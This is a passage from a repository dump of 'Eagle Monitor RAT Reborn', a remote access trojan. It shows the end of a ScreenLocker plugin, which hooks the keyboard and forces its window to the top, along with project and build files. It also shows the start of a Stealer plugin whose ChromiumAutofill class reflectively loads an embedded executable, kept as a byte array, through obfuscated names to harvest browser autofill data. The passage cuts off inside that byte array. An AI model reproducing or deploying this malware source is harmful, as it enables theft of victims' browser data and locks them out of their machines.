SWP_DEFERERASE);\n\t\t\tHelpers.SetAero10(this.Handle);\n\t\t\tHookHardware.Global.HookKeyboard();\n\t\t\tthis.SetTopLevel(true);\n\t\t\tSetForegroundWindow(this.Handle);\n\t\t}\n\n\t\tprivate void Form1_Shown(object sender, EventArgs e)\n\t\t{\n\t\t\tthis.SetTopLevel(true);\n\t\t\tSetForegroundWindow(this.Handle);\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{8E4B128D-A9A9-4BCC-B87D-5FA50EC07261}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>ScreenLocker</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Helpers.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ScreenLocker.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n  </ItemGroup>\n  <ItemGroup>\n    <EmbeddedResource Include=\"ScreenLocker.resx\">\n      <DependentUpon>ScreenLocker.cs</DependentUpon>\n    </EmbeddedResource>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\HookHardware\\HookHardware.csproj\">\n      <Project>{64c6e036-ff80-4f45-87f6-0a9996131fa1}</Project>\n      <Name>HookHardware</Name>\n    </ProjectReference>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.CoreCompileInputs.cache",
    "content": "ac05f21e8e770e65b468fe1ea36fae551543aabf\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\ScreenLocker.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\ScreenLocker.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Debug\\ScreenLocker.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Debug/ScreenLocker.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.CoreCompileInputs.cache",
    "content": "4ee2c55d96ccba7b426c45d4534a168284bdaac5\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\ScreenLocker.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\ScreenLocker.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ScreenLocker.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ScreenLocker.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ScreenLocker.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ScreenLocker.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\ScreenLocker.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\Plugin.ScreenLocker.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.GenerateResource.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\ScreenLocker\\obj\\Release\\ScreenLocker.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Release/ScreenLocker.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/ScreenLocker/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/Stealer/ChromiumAutofill.cs",
    "content": "﻿using System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ChromiumAutofill\n    {\n\t\tinternal static List<object[]> Recovery()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tSystem.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome);\n\t\t\t\tSystem.Reflection.MethodInfo method = assemblytoload.GetType(\"N1F8R7V2H4G.W9S7P5A2XO8\").GetMethod(\"AP7Z9V5B3W2\");\n\t\t\t\tobject obj = assemblytoload.CreateInstance(method.Name);\n\t\t\t\tList<object[]> chrome = (List<object[]>)method.Invoke(obj, null);\n\t\t\t\treturn chrome;\n\t\t\t}\n\t\t\tcatch (System.Exception)\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t}\n\n\t\tprivate static readonly byte[] Chrome = {\n\t0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD,\n\t0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70,\n\t0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,\n\t0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20,\n\t0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A,\n\t0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00,\n\t0x4C, 0x01, 0x03, 0x00, 0x24, 0x0D, 0x8C, 0xA8, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x22, 0x20, 0x0B, 0x01, 0x30, 0x00,\n\t0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x96, 0x7F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x85, 0x00, 0x00, 0x10, 0x00,\n\t0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x44, 0x7F, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00,\n\t0x00, 0x80, 0x00, 0x00, 0xA8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0xA0, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x28, 0x7F, 0x00, 0x00,\n\t0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00,\n\t0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,\n\t0xAC, 0x5F, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00,\n\t0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72,\n\t0x63, 0x00, 0x00, 0x00, 0xA8, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,\n\t0x00, 0x04, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,\n\t0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00,\n\t0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x7F, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00,\n\t0x40, 0x47, 0x00, 0x00, 0xE8, 0x37, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x04, 0x00, 0x71, 0x00, 0x00, 0x00,\n\t0x01, 0x00, 0x00, 0x11, 0x73, 0x06, 0x00, 0x00, 0x0A, 0x0A, 0x28, 0x10,\n\t0x00, 0x00, 0x06, 0x6F, 0x07, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x43, 0x12,\n\t0x01, 0x28, 0x08, 0x00, 0x00, 0x0A, 0x0C, 0x1B, 0x8D, 0x06, 0x00, 